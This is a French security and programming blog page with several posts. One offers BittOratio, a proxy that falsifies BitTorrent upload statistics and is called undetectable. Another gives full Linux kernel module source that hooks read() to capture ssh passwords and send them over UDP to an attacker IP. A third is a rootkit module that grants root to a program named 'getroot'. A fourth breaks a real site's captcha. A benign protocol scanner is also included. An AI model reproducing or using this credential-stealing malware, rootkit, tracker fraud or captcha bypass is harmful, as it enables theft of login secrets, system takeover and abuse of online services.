Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

programmation

BittOratio v3 : Boostez vos statistiques BitTorrent

Rédigé par devloop - -

Mise à jour du 13 septembre 2015 :
La version 3 de BittOratio est disponible.
Elle supporte désormais les réponses HTTP en mode chunked qui l’empêchait de recevoir correctement les réponses de certains trackers.
Téléchargez cette nouvelle version ici : bittoratio3.py

Mise à jour du 25 avril 2014 :
Une nouvelle version de BittOratio est disponible.
Elle corrige des problèmes d'affichage et surtout un bug dans le renvoi des headers HTTP qui provoquait la transmission de réponses HTTP invalides vers le client BitTorrent.
BittOratio devrait donc maintenant fonctionner avec tous les trackers.
Nouvelle version à télécharger ici : bittoratio2.py

Article original (11 janvier 2011) :
Dans la même optique que pour le code statsliar qui permet de booster les statistiques d'un site en envoyant des requêtes multiples à travers des proxys, je me suis mis à écrire un programme capable de booster ses statistiques d'upload sur les communautés BitTorrent qui s'appuient sur le principe du ratio.

Le principe de ces sites est simple : on peut continuer à télécharger tant que l'on veut du moment que l'on partage dans une certaine proportion. Le ratio est une variable dont la régle est "quantité de données downloadées" divisée par "quantité de données uploadées".
Le ratio exigé est lié au réglement du site, son minimum autorisé est généralement de 0.5.

C'est plus l'envie que le besoin qui m'a amené à développer cet outil. C'était l'occasion de reprendre les spécifications BitTorrent étudiées pour mon article Utilisations alternatives du protocole BitTorrent et de voir ce qu'il était possible de faire.

La première partie du document est la suite de la traduction de la spécification. La seconde partie explique le fonctionnement de l'outil.
Je vous invite à vous pencher d'abord sur l'article cité précédemment et à consulter la partie concernant les requêtes envoyées par le client sur le tracker sans quoi la compréhension peut s'avérer difficile.

Première partie : Réponse émises par le tracker

Le tracker répond avec un document "text/plain" correspondant à un dictionnaire bencodé contenant les clés suivantes :
  • failure reason : Si présent, alors il est possible qu'aucune autre clé ne soit présente. Sa valeur est un message d'erreur expliquant pourquoi la requête a échouée (chaîne).
  • warning message : (nouveau, optionnel) Similaire à failure reason, mais la réponse est toujours traitée normalement. L'avertissement est affiché au même titre qu'une erreur.
  • interval : Intervalle en secondes que le client devrait attendre entre l'envoi de requêtes régulières au tracker.
  • min interval : (optionnel) Intervalle minimum d'annonce. Si présent, les clients ne doivent pas annoncer plus fréquemment qu'à cet intervalle.
  • tracker id : Une chaîne que le client devrait renvoyer sur chaque prochaine annonce. S'il est absent et si une précédente annonce a envoyé un tracker id, ne pas rejeter cette ancienne valeur mais la conserver.
  • complete : nombre de peers qui disposent du fichier entier, c'est à dire les "seeders" (entier).
  • incomplete : nombre de peers qui ne seedent pas, c'est à dire les "leechers" (entier).
  • peers : (modèle dictionnaire) La valeur correspondante est une liste de dictionnaires, chacun avec les clés suivantes :
    • peer id : Un identifiant que le peer a choisi lui-même, comme décrit plus tôt pour la requête au tracker (chaîne).
    • ip : l'adresse ip du peer, soit en Ipv6 (forme hexadécimale), soit en ipv4 (séparation par des points) ou un nom DNS (chaîne).
    • port : le numéro de port du peer( entier).
  • peers : (modèle binaire) Au lieu d'utiliser le modèle de dictionnaire décrit précédemment, la valeur peut être une chaîne constituée de multiples de 6 octets. Les 4 premiers octets correspondent à l'adresse IP et les deux suivants au numéro de port. Le tout en notation réseau (big endian)

Comme mentionné plus tôt, la liste des peers est de 50 peers par défaut. S'il y a moins de peers sur le torrent, alors la liste sera plus petite. Dans le cas contraire, le tracker renvoit une liste de peers choisis aléatoirement.
Le tracker a le droit d'implémenter un méchanisme plus intelligent de sélection des peers à retourner comme réponse. Il pourrait par exemple éviter de retourner la liste des seerders à un seeder.

Les clients peuvent envoyer une requête plus tôt qu'au boût de l'intervalle spécifié si un événement se produit (par exemple stopped ou completed) ou si le client a besoin de découvrir plus de peers. Toutefois il est mal vu de "marteler" un tracker pour obtenir d'avantage de peers. Si un client souhaite une plus large liste de peers dans la réponse, alors il devrait spécifier le paramêtre numwant.

Note pour l'implémentation : Même 30 peers est suffisant, la version 3 du client officiel n'établit en réalité de nouvelles connexions que s'il y a moins de 30 peers et va refuser les connexions s'il y en a 55. Ces valeurs sont importantes pour des raisons de performance. Quand un morceau (piece) a terminé de télécharger, des messages HAVE (obtenu) devront être envoyés aux peers les plus actifs. La conséquence est que l'utilisation de la bande passante augmente proportionnellement au nombre de peers. Au delà de 25, les nouveaux peers n'auront que très peu d'influence sur l'augmentation de la vitesse de téléchargement. Les créateurs d'interfaces graphiques sont fortement conseillés de dissimuler cela et d'empêcher de telles configurations qui de toute façon se montrerait très rarement utiles.

Convention "scrape" des trackers

Par convention la plupart des trackers supportent un autre type de requête, permettant de connaître l'état d'un torrent donné(ou de tous les torrents) que le tracker gère. On y fait référence en tant que "page de scrape" car elle automatise le traitement laborieux d'extraction des statistiques du tracker.

L'URL de scrape se base aussi sur la méthode GET, similaire à ce qui a déjà été décris. Cependant l'URL de base est différente. La génération de cette URL de scrape se fait selon les étapes suivantes : Commencer avec l'url d'annonce. Trouver le dernier '/' dans cette chaîne. Si le texte suivant immédiatement ce '/' n'est pas 'announce' alors on considère que le tracker ne supporte pas la convention de scrape. Si c'est le cas, on substitue 'scrape' par 'announce' pour obtenir l'URL de scrape.

Exemples : (URL d'annonce ? URL de scrape)
  ~http://example.com/announce          ? ~http://example.com/scrape
  ~http://example.com/x/announce        ? ~http://example.com/x/scrape
  ~http://example.com/announce.php      ? ~http://example.com/scrape.php
  ~http://example.com/a                 ? (scrape non supporté)
  ~http://example.com/announce?x2%0644 ? ~http://example.com/scrape?x2%0644
  ~http://example.com/announce?x=2/4    ? (scrape non supporté)
  ~http://example.com/x%064announce     ? (scrape non supporté)

L'URL peut être complétée par le paramètre optionnel info_hash, une variable de 20 octets décris plus tôt. Cela restreint le rapport du tracker à un torrent particulier. Dans le cas contraire les statistiques de tous les torrents gérés par le tracker sont retournés. Les développeurs de logiciels sont fortement encouragés à utiliser le paramètre info_hash dès que c'est possible, afin de réduire la charge et bande passante du tracker.

Vous avez aussi la possibilité de spécifier plusieurs paramètres info_hash aux trackers qui les supportent. Bien que cela ne soit pas indiqué dans les spécifications officielles, c'est devenu un standard dans la pratique – par exemple :

http://example.com/scrape.php?info_hash=aaaaaaaaaaaaaaaaaaaa&info_hash=bbbbbbbbbbbbbbbbbbbb&info_hash=cccccccccccccccccccc

La réponse de cette requête HTTP GET est un document "text/plain" ou encore une version compressée par gzip qui correspond à un dictionnaire bencodé contenant les clés suivantes :

  • files : un dictionnaire comportant des paires clés / valeurs pour chaque torrent pour lequel il existe des statistiques. Si info_hash est spécifié est est valide, le dictionnaire contiendra une seule paire clé / valeur. Chaque clé correspond au info_hash, une suite de 20 octets. La valeur de chaque entrée du dictionnaire est composé des éléments suivants :
    • complete : nombre de peers qui disposent du fichier entier, c'est à dire les seeders (entier)
    • downloaded : nombre total de fois où le tracker a enregistré une terminaison (complétion) ("event=complete", c'est à dire quand un client termine de télécharger un torrent)
    • incomplete : nombre de peers non-seeders, c'est à dire les "leechers" (entier)
    • name : (optionnel) le nom interne du torrent, tel que défini dans la section d'info du fichier torrent (name)

Notez que cette réponse a 3 niveaux de profondeur de dictionnaire (sur le même principe que les poupées russes). Voici un exemple :

d5:filesd20:....................d8:completei5e10:downloadedi50e10:incompletei10eeee

"...................." est le info_hash de 20 octets avec 5 seeders, 10 leechers, et 50 téléchargements complets.

Extensions non-officielles au scrape

Ci-dessous sont les clés de réponse qui sont utilisés non-officiellement. Comme elles sont non-officielles, elle sont aussi optionnelles.

  • Failure reason : Un message d'erreur expliquant pourquoi la requête a échouée (chaîne). Clients connus pour utiliser cette clé : Azureus.
  • Flags : un dictionnaire constitué de drapeaux divers. La valeur des clés de drapeau est un autre dictionnaire à niveaux, pouvant contenir l'information suivante :
    • min_request_interval : La valeur de cette clé est un entier correspondant au nombre de secondes que le client doit attendre avant de scraper à nouveau le tracker. Trackers connus pour utiliser cette clé : BNBT. Clients utilisant cette clé : Azureus.

BittOratio : Comment tricher sur ses statistiques d'upload

A bien regarder la façon dont sont formé les requêtes et réponses du tracker on remarque que tricher est simple : il suffit d'exagérer la valeur passée au paramêtre uploaded sur les requêtes announce.

Pour le tracker il est beaucoup plus compliqué de savoir si le client triche ou non. Toutefois certaines vérifications peuvent être faites :
  • Vérifier que le client a envoyé une requête annonce de démarrage du torrent ("event=started") avant de prétendre avoir partagé des données.
  • Surveiller s'il n'y a pas des incohérences (quantité d'upload qui diminue au lieu d'augmenter). Mais c'est incohérences peuvent être non-intentionnelles (utiliseur qui efface par mégarde un fichier que le client torrent va retélécharger etc).
  • Vérifier que le client n'est pas seul sur le torrent : pour uploader il lui faut forcément un autre client.
  • Vérifier que le client a bien ses ports de partage ouvert. Il ne peut pas partager s'il refuse toute connexion. Mais cette vérification serait difficile à mettre en place pour le tracker).
  • Calculer la vitesse d'émission du client en se basant sur la quantité d'upload qu'il prétend envoyer entre deux moments successifs et vérifier si cette vitesse est informatiquement réaliste.

Des outils existent déjà pour simuler l'upload de données : RatioMaster et RatioMaster-NG.
Le second se veut être une correction du premier. Ils ne téléchargent pas réellement les fichiers mais envoient des suites de requêtes au tracker pour faire croire qu'ils participent aux transferts.
Je n'ai pas cherché à étudier leur fonctionnement précis mais certains trackers tentent de détecter ce type de fraude par les vérifications citées plus haut.

Mon logiciel BittOratio fonctionne autrement. C'est un proxy HTTP qui modifie au vol les requêtes d'annonce à destination du tracker, multipliant la quantité de données envoyée par un facteur (nombre entier) modifiable dans le code source.
Pour qu'il fonctionne il faut donc que les fichiers soient réellement téléchargés et mis à disposition mais vous n'aurez pas à uploader autant que vous ne téléchargez pour obtenir un bon ratio.
L'avantage de cet outil est que ce système de triche est indécelable.

Il suffit de lancer le proxy qui écoute sur le port tcp 8080 et de configurer votre client BitTorrent pour passer par le proxy. Par exemple avec Transmission sous Linux, il faut modifier le fichier .config/transmission/settings.json pour placer les réglages suivants :
"proxy": "localhost",
"proxy-auth-enabled": false,
"proxy-auth-password": "",
"proxy-auth-username": "",
"proxy-enabled": true,
"proxy-port": 8080,
"proxy-type": 0,
Les requêtes interceptées sont affichées de façon succinte à l'écran (identité du tracker, hash du torrent, quantité d'upload).

La difficulté principale lors de l'écriture du programme a été de gérer les erreurs de connexion. Comme la bande-passante est bouffée par le client BitTorrent, le proxy rencontre pas mal d'erreurs de timeout (connexion au tracker indispo ou résolution dns qui prend trop de temps).
On pourrait penser que les requêtes du tracker importe peu mais elles ont un effet important sur le client BitTorrent. La première technique que j'ai employé pour gérer ces erreurs était de renvoyer au client un message HTTP 504 (Gateway Timeout) correspondant parfaitement aux problèmes de ce type mais le client avait une mauvaise tendance à abandonner au boût d'un moment.
Finalement j'ai mis en place un système de cache qui renvoit au client le résultat de la requête précédente (pour le même info_hash) et qui améliore largement la stabilité de l'ensemble.

Quand on stoppe le proxy (Ctrl+C), celui-ci "flushe" le cache et envoit les annonces d'upload qui n'auraient pas été envoyées sur le tracker faute de capacité réseau.

Parmi les modifications apportées durant l'écriture du code, j'ai du abandonner urllib2 (vraiment à la masse en terme de performances) au profit de httplib.

Pour terminer (et puisque certains se posent la question) il semble d'après mes observations qu'il est préférable de stopper (mettre en pause) les torrents avant de fermer complètement le client BitTorrent au lieu de le fermer directement : en effet le client n'envoit pas forcément les requêtes d'annonce à la fermeture pour synchroniser ses statistiques avec le tracker alors que la mise en pause envoit ces informations avec l'event "stopped".

Le code se trouve ici : bittoratio.py

J'avais d'abord cherché une analogie à Bit Torrent pour le nom du programme, je suis arrivé à "Dick Rivers"... je me suis abstenu.

Je reprendrais peut-être un jour la suite de la traduction de la spécification.

ProtoScan

Rédigé par devloop - -

Introduction

ProtoScan est un logiciel en ligne de commande qui permet de déterminer quels sont les protocoles supportés par une machine distante. ProtoScan ne fonctionne que sous plateforme Linux et se base sur la librairie du C standard (glibc).

Partie Technique

Rappels sur le protocole IP


Le Protocole Internet (IP) permet à plusieurs machines de communiquer entre elles). Toutefois ce protocole ne permet pas d'échanger des données, il sert de support à des protocoles de plus haut niveau qui se chargent du transport des données.
Le système de support entre protocoles est le suivant : le logiciel que vous utilisez va générer des données dans un protocole spécifique. Dans l'exemple d'un navigateur de page web, ce dernier va générer du HTTP. Celui-ci est un protocole de haut niveau et ne peux pas transiter pur sur le réseau. L'ordinateur va donc rajouter l'entête du protocole servant de support (TCP) puis rajouteras ensuite l'entête du protocole servant de support au TCP, à savoir IP.

A l'opposé, le serveur dont vous désirez lire les pages web va devoir retirer les entêtes les un après les autres pour parvenir à ce qui l'intéresse, à savoir la requête HTTP générée par votre navigateur.

Seulement comment le serveur fait-il le tri parmi toutes les données qu'il reçoit ? Une fois qu'il a retiré l'entête IP, il est tout à fait possible que ce qui suit ne soit pas du TCP mais du UDP, du GGP ou un autre protocole...
En fait c'est l'entête IP qui indique quel est le protocole qui suit. L'entête IP possède en effet un champ 'protocol' qui identifie le protocole supérieur par un chiffre bien définit ; ainsi si ce champ a pour valeur 6 alors le serveur saura qu'il s'agit du protocole TCP.

Protoscan se base sur ce champ pour envoyer des données. Nous verrons tout à l'heure pourquoi.

Rappels sur le protocole ICMP


Le protocole IP n'est pas un protocole 'fiable' (voir Etude IP sur SupInfo). Il se fiche bien se savoir si les données arrive effectivement à destination et si elles arrivent en bonne état. Pour combler cette lacune le protocole ICMP (Internet Control Message Protocol) a été créé. Comme son nom l'indique il se charge d'informer des problèmes rencontrés par les paquets IP.
Bien que IP et ICMP soient des protocoles a part entière, ils sont indissociables l'un de l'autre. Un constructeur informatique ne peux pas implémenter l'IP sans ICMP et vice-versa.

Le protocole ICMP permet entre autres de savoir si la machine que l'on souhaite contacter est en marche (commande ping), ou de connaître les routeurs par lesquels passent nos données (commande traceroute). Quand on connait mieux le protocole ICMP on s'appercoit qu'il permet d'obtenir des informations intéressantes sur une machine, comme les ports UDP fermés, si la machine se situe derrière un firewall, ou encore si un protocole est supporté ou non par la machine en question.

C'est ce dernier cas qui nous intéresse.

Fonctionnement de ProtoScan

Le rôle de ProtoScan est de déterminer quels sont les protocoles supportés par une machine distante. Pour cela, il va délibéremment provoquer des erreurs qui lui permetront de recevoir les messages ICMP concernant les protocoles supportés.
ProtoScan va envoyer des paquets malformés. Ces paquets ne sont toutefois pas générés au hazard : il s'arrêtent à l'entête IP (aucun protocole ne se trouve après).

Pour observer le comportement d'une machine face à ces paquets malformés, nous allons faire des tests avec Hping, un logiciel qui permet de générer ses propres paquets (il faut être root).
# hping3 -c 1 --rawip --ipproto 6 127.0.0.1
HPING 127.0.0.1 (lo 127.0.0.1): raw IP mode set, 20 headers + 0 data bytes
[|tcp]
--- 127.0.0.1 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
D'abord quelques éclaircissement sur la ligne de commande :
-c 1 permet de n'envoyer le paquet qu'une seule fois
--rawip permet de générer soit même les entetes IP
--ipproto 6 fixe le champ 'protocol' de l'entête IP à 6. Cela correspond à TCP la ligne se termine bien évidemment avec l'adresse de la machine destinataire.

Dans cette exemple les statistiques nous montrent clairement que la machine qui a reçu notre paquet n'a pas généré d'erreur. Il faut dire aussi que le protocole TCP est un protocole supporté par presque toutes les machines réseaux.

Essayons maintenant avec un protocole moins connu, par exemple HMP (Host Monitoring Protocol) qui est désigné par la valeur 20.
# hping3 -c 1 --rawip --ipproto 20 127.0.0.1
HPING 127.0.0.1 (lo 127.0.0.1): raw IP mode set, 20 headers + 0 data bytes
ICMP Protocol Unreachable from ip=127.0.0.1 name=localhost
--- 127.0.0.1 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
Cette fois, la machine nous a renvoyé un paquet. Il s'agit d'un paquet ICMP dont le libellé est 'Protocol Unreachable' qui nous informe clairement que le protocole que nous avons demandé (HMP) n'est pas supporté par la machine.

Pour connaître tous les protocoles supportés par une machine distante il suffirait donc de répéter la commande pour toutes les valeurs possibles du champ 'protocol' fixé par l'option ipproto de Hping.
Théoriquement cela fait 256 possibilités. En pratique il n'y a que 136 protocoles reconnus pour l'insant (Les protocoles et leur numéro sont définis dans le fichier /etc/protocols sur un système Linux).

ProtoScan se charge de tester toutes les possibilités et affiche les résultats dans un format compréhensible. Pour utiliser correctement Protoscan il suffit de passer l'adresse de la machine en argument :
# ./protoscan 127.0.0.1
        Launching scan...
Protocol icmp [1] supporte
Protocol igmp [2] supporte
Protocol ipv4 [4] supporte
Protocol tcp [6] supporte
Protocol udp [17] supporte
        Scan done!
Protoscan a été programmé en C et repose sur les librairies standard, par conséquence il ne nécessite pas l'installation d'un autre logiciel ou d'une librairie spéciale.

Compilation : gcc -o protoscan protoscan.c
Télécharger le code source protoscan.c

Linux kernel 2.4 module : spy ssh client

Rédigé par devloop - -

Toujours dans la catégorie "oldies" comme le code précédent, l'exemple suivant permet de récupérer un mot de passe saisi depuis le client ssh et de le transmettre par UDP vers une machine distante.
L'idée m'était venue en lançant un strace sur ssh et en remarquant que la lecture du pass se faisant caractère par caractère à l'aide de read() sur un périphérique tty.

Solution : hooker l'appel système read() et si le processus en cours s'appelle "ssh" mettre en application tout ça :
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/unistd.h> /* __NR_close */
#include <linux/smp_lock.h> /* unlock_kernel */
#include <linux/syscalls.h> /* sys_close */
#include <linux/types.h> /* ssize_t... */

/* j'ai pas fait le tri */
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/dcache.h>

#include <linux/net.h>
#include <linux/in.h>
#include <linux/socket.h>
#include <asm/uaccess.h>
#include <linux/fs.h>

#define HACKER_IP 0xc0a80103 /* put your ip address in hexa. ex: 192.168.1.3 => 0xc0a80103 */
#define SOURCE_PORT 1337
#define DEST_PORT 53

void **sys_call_table;
static int i=0;
char passwd[41];

asmlinkage ssize_t (*orig_read)(unsigned int fd, char *buf, size_t count);

int sendUDP(char *msg)
{
  struct msghdr udpmsg;
  mm_segment_t oldfs;
  struct iovec iov;
  struct sockaddr_in sin;
  struct sockaddr_in sout;
  struct socket *udpsock;
  int err;

  if(sock_create(PF_INET, SOCK_DGRAM, 0,&udpsock)<0)return -1;
  printk(KERN_INFO "sock created\n");

  memset(&sin,0,sizeof(sin));
  sin.sin_port=htons(SOURCE_PORT);
  sin.sin_family=AF_INET;
  sin.sin_addr.s_addr=htonl(INADDR_ANY);

  if(udpsock->ops->bind(udpsock,(struct sockaddr*)&sin,sizeof(struct sockaddr))<0)
  {
    sock_release(udpsock);
    printk(KERN_INFO "bind error\n");
    return -1;
  }
  printk(KERN_INFO "bind ok\n");

  iov.iov_base=(void*)msg;
  iov.iov_len=strlen(msg);

  memset(&sout,0,sizeof(sout));
  sout.sin_port=htons(DEST_PORT);
  sout.sin_family=AF_INET;
  sout.sin_addr.s_addr=htonl(HACKER_IP);

  memset(&udpmsg, 0, sizeof(struct msghdr));
  udpmsg.msg_name=&sout;
  udpmsg.msg_namelen=sizeof(sout);
  udpmsg.msg_iovlen=strlen(msg);
  udpmsg.msg_iov=&iov;
  udpmsg.msg_control=NULL;
  udpmsg.msg_controllen=0;
  udpmsg.msg_flags=MSG_DONTWAIT|MSG_NOSIGNAL;

  oldfs=get_fs();
  set_fs(KERNEL_DS);
  err=sock_sendmsg(udpsock,&udpmsg,strlen(msg));
  printk("err=%d\n",err);
  set_fs(oldfs);
  sock_release(udpsock);

  return 0;
}

asmlinkage ssize_t my_read(unsigned int fd, char *buf, size_t count)
{
  ssize_t ret;
  struct file *f;

  ret=orig_read(fd,buf,count);
  if(strlen(current->comm)==3)
  {
    if(strncmp(current->comm,"ssh",3)==0)
    {
      if(fd>2 && count==1)
      {
        f=fget(fd);
        if(f)
        {
          if(f->f_dentry)
          {
            if(strncmp(f->f_dentry->d_name.name,"tty",3)==0)
            {
              printk("%c",buf[0]);
              passwd[i]=buf[0];
              if(i>=40)
              {
                passwd[40]='\0';
                sendUDP(passwd);
                i=0;
              }
              else if(buf[0]=='\n')
              {
                passwd[i]='\0';
                sendUDP(passwd);
                i=0;
              }
              else i++;
            }
          }
        }
      }
    }
  }
  return ret;
}

unsigned long **find_sys_call_table(void)
{
   unsigned long **sctable;
   unsigned long ptr;
   extern int loops_per_jiffy;

   sctable = NULL;
   for (ptr = (unsigned long)&unlock_kernel;
        ptr < (unsigned long)&loops_per_jiffy;
        ptr += sizeof(void *))
   {
      unsigned long *p;
      p = (unsigned long *)ptr;
      if (p[__NR_close] == (unsigned long) sys_close)
      {
         sctable = (unsigned long **)p;
         return &sctable[0];
      }
   }
   return NULL;
}

int init_module(void)
{
  printk(KERN_INFO "hook loaded\n");
  sys_call_table=(void**)find_sys_call_table();
  if(sys_call_table!=NULL)
  {
    printk(KERN_INFO "sys_call_table=%p\n",sys_call_table);
    printk(KERN_INFO "__NR_read=%d\n",__NR_read);
    printk(KERN_INFO "sys_call_table[__NR_read]=%p\n",sys_call_table[__NR_read]);
    orig_read=(asmlinkage ssize_t(*)(unsigned int,char *,size_t))(sys_call_table[__NR_read]);
    sys_call_table[__NR_read]=my_read;
  }

  return 0;
}

void cleanup_module(void)
{
  if(sys_call_table!=NULL)
  {
    sys_call_table[__NR_read]=orig_read;
  }
  printk(KERN_INFO "hook unloaded\n");
}


De mémoire c'était loin d'être stable (le système finissait par planter) donc à utiliser à vos risques et périls.
Pour les yeux uniquement comme disent certains.

Linux kernel module 2.4 : getroot

Rédigé par devloop - -

J'ai sur une clé usb plusieurs modules kernels que j'avais bidouillé à une époque (il y a plus d'un an) histoire de m'amuser un peu.
Les codes en question sont loin d'être des exemples de stabilité et ne compilent pas sous du 2.6... Faute de temps et de volonté je ne suis pas retourné depuis dans la programmation kernel bien que je ne refuse pas de lire un article sur le sujet quand il me tombe sous le nez.

En espérant qu'ils puissent encore servir à quelques-uns je les met en ligne.
Le module ci-dessous permet (une fois installé) d'obtenir les privilèges root. Il suffit de créer un programme nommé "getroot" qui fera un appel à "getuid()", du moins la version hookée et modifiée par nos soins :

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/unistd.h> /* __NR_close */
#include <linux/smp_lock.h> /* unlock_kernel */
#include <linux/syscalls.h> /* sys_close */

/* __NR_getuid faisait appel a sys_getuid16 (adresse dans System.map) : on se sert explicitement de __NR_getuid32 */
void **sys_call_table;

int (*orig_getuid)(void);
int my_getuid(void)
{
  printk(KERN_INFO "Appel a getuid()\n");
  if(strlen(current->comm)==7)
  {
    if(strncmp(current->comm,"getroot",7)==0)
    {
      printk(KERN_INFO "Giving root :)\n");
      current->euid=0;
      current->egid=0;
    }
  }
  return current->uid;
}

unsigned long **find_sys_call_table(void)
{
   unsigned long **sctable;
   unsigned long ptr;
   extern int loops_per_jiffy;

   sctable = NULL;
   for (ptr = (unsigned long)&unlock_kernel;
        ptr < (unsigned long)&loops_per_jiffy;
        ptr += sizeof(void *))
   {
      unsigned long *p;
      p = (unsigned long *)ptr;
      if (p[__NR_close] == (unsigned long) sys_close)
      {
         sctable = (unsigned long **)p;
         return &sctable[0];
      }
   }
   return NULL;
}

int init_module(void)
{
  printk(KERN_INFO "hook loaded\n");
  sys_call_table=(void**)find_sys_call_table();
  if(sys_call_table!=NULL)
  {
    printk(KERN_INFO "sys_call_table=%p\n",sys_call_table);
    printk(KERN_INFO "__NR_getuid32=%d\n",__NR_getuid32);
    printk(KERN_INFO "sys_call_table[__NR_getuid32]=%p\n",sys_call_table[__NR_getuid32]);
    orig_getuid=(int(*)(void))(sys_call_table[__NR_getuid32]);
    sys_call_table[__NR_getuid32]=my_getuid;
  }

  return 0;
}

void cleanup_module(void)
{
  if(sys_call_table!=NULL)
  {
    sys_call_table[__NR_getuid32]=orig_getuid;
  }
  printk(KERN_INFO "hook unloaded\n");
}


Le Makefile ressemblait à ça :
obj-m += hook.o

all:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean


et le programme userland était tout simplement :
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>

int main(int argc,char *argv)
{
  char * param[] = {"/bin/sh", NULL};
  getuid();
  execve(param[0], param, NULL); //execve est déja un appel système
  return 0;
}

Cassage de captchas faibles

Rédigé par devloop - -

J'utilise depuis un moment le service en ligne de ADrive et je ne pouvais forcément que tiquer sur la page "You're not a robot, right?" qui apparait juste après la saisie des identifiants et demande de recopier un captcha numérique.

Déjà je me suis dit que coder une API ou un outil pour ce site ne serait pas une mauvaise idée (on verra éventuellement ça) mais aussi c'était une bonne occasion de se pencher sur la sécurité d'un système de captcha qui a première vue m'a semble plutôt faible.

Je ne m'étenderais pas sur ce qui fait le bon ou le mauvais captcha, le sujet a déjà été débatu ailleurs (surtout dans le Bouchonnois)
Je dirais seulement que globalement un bon captcha trompe les OCR et a un alphabet (nombre de caractères utilisés différents) conséquent.

Les captcha de ADrive sont assez limités car l'alphabet est limité à 9 caractères (nombres entiers de 1 à 9 inclus), le captcha étant long de 5 caractères.
Voici quelques exemples :

13125
25519
43588
55962
62136
77141
86154
91522

On remarque que le fond de chaque nombre lui est propre et ne change pas. Les caractères sont toujours disposés à la même hauteur... il s'agit uniquement d'un recolage.

Première idée qui me vient à l'esprit : on retire le cadre, on découpe en 5 images, on calcule des hashs MD5 sur chaque image extraite et on en déduit le nombre.
Avec ImageMagick, les opérations de découpage sont simples :
convert captcha.jpg -shave 2x2 out.jpg
convert out.jpg -crop 5x1@ montage_%d.jpg

Mais on s'apperçoit que cela ne fonctionne pas : pour deux nombres identiques on a un hash différent.
On étudie en détail les images et on remarque que la division en 5 n'a pas donné des images de taille égale.
Quelque chose cloche et il s'avère en réalité que l'espace pris par les différents caractères différe.

On sort un éditeur photo et on compte les pixels pour obtenir la largeurs de quelques nombres. Ensuite les largeurs des autres caractères peuvent être déterminées par des équations à plusieurs inconnues (merci le bac S :p)

Cette fois on va faire autrement mais toujours sans utiliser de technologie OCR : lire les pixels correspondant au premier caractère, déterminer duquel il s'agit en testant des points caractéristiques et procéder de même avec les suivants.

Pour cela j'utilise la Python Imaging Library.
La valeur de chaque pixel des captchas est représentée par 3 valeurs (R, V, B). Plus les valeurs sont faibles plus le pixel est sombre, plus elles sont élevées plus il est clair.

Je choisis de modifier l'image pour mettre à 0 les pixels sombres au delà d'un certain seuil (40) et mettre blanc (soit 255) les autres :
from PIL import Image

im = Image.open("62136.jpeg")
(xlen, ylen) = im.size

# Conversion noir OU blanc
for x in range(0, xlen):
  for y in range(0, ylen):
    couleur = im.getpixel((x, y))
    if all(z < 40 for z in couleur):
      im.putpixel((x, y), (0, 0, 0))
    else:
      im.putpixel((x, y), (255, 255, 255))

im.save("62136_wb.jpeg")

Le résultat ressemble à ceci (avant et après) :
62136
62136_wb

Il faut ensuite trouver des points caractéristiques pour chaque caractère. Par exemple le '2' comporte une suite horizontale de pixels noirs qu'aucun autre caractère ne possède.
On se charge de lire sur 17 pixels de largeur (largeur minimale d'un caractère), tester la présence de certains pixels puis avancer notre pointeur de la largeur du caractère trouvé.
Pour certains caractères (le '6' notamment) c'est plus compliqué car on rencontre pas mal de collisions (pixels communs à d'autres caractères) mais je suis finalement parvenu à écrire le programme suivant qui décode avec succès les captchas du site (testé toutefois seulement sur 33 captchas différents) :
# devloop 08/2010
# Adrive.com captcha breaker
from PIL import Image
import sys

if len(sys.argv) != 2:
  print "Usage: python captcha_break.py <file>"
  sys.exit()

largeurs = {1 : 19, 2 : 17, 3 : 18, 4 : 18,
    5 : 18, 6 : 18, 7 : 18, 8 : 21, 9 : 18}

im = Image.open(sys.argv[1])
(xlen, ylen) = im.size

# Conversion noir OU blanc
for x in range(0, xlen):
  for y in range(0, ylen):
    couleur = im.getpixel((x, y))
    if all(z < 40 for z in couleur):
      im.putpixel((x, y), (0, 0, 0))
    else:
      im.putpixel((x, y), (255, 255, 255))

captcha = ""

# On retire la bordure du captcha, on avance dans la largeur
xdecal = 2

# 5 nombres
for n in range(0,5):
  if all((0,0,0) == im.getpixel((xdecal + x, 29)) for x in range(4,15)):
    captcha += "2"
    xdecal += largeurs[2]

  elif im.getpixel((xdecal + 3, 16)) == (0, 0, 0):
    captcha += "4"
    xdecal += largeurs[4]

# fail (pixels provoquant des collisions) : (2, 21) (2, 22)
  elif im.getpixel((xdecal + 3, 17)) == (0, 0, 0):
    captcha += "8"
    xdecal += largeurs[8]

# fail : (4, 15) (15, 4) (8, 8) (13, 19) (13, 20)
# fail : (13, 21) (13, 23) (13, 24) (13, 25)
# fail : (3, 18) (3, 19) (3, 20) (3, 21)
  elif im.getpixel((xdecal + 3, 22)) == (0, 0, 0):
    captcha += "6"
    xdecal += largeurs[6]

  elif im.getpixel((xdecal + 3, 2)) == (0, 0, 0):
    captcha += "9"
    xdecal += largeurs[9]

  elif im.getpixel((xdecal + 3, 30)) == (0, 0, 0):
    captcha += "1"
    xdecal += largeurs[1]

  elif im.getpixel((xdecal + 14, 3)) == (0, 0, 0):
    captcha += "5"
    xdecal += largeurs[5]

# fail : (9, 16) (3, 18) (3, 19) (3, 20)
  elif im.getpixel((xdecal + 2, 25)) == (0, 0, 0):
    captcha += "3"
    xdecal += largeurs[3]

  elif im.getpixel((xdecal + 2, 12)) == (0, 0, 0):
    captcha += "7"
    xdecal += largeurs[7]

  else:
    # Nombre non trouve. Affiche l'image et donne le
    # tableau des pixels noirs.
    im.show()
    # affiche les caracteres deja trouves
    if len(captcha) > 0:
      print captcha
    for x in range(0, 17):
      for y in range(2, 31):
        if im.getpixel((xdecal + x, y)) == (0,0,0):
          print x, y
    break

if len(captcha) == 5:
  print captcha

Le code est aussi téléchargeable ici : captcha_break.py
Comme quoi si l'alphabet utilisé est limité on arrive à casser en peu de temps un captcha quelques soit les caractères ou les symboles présents.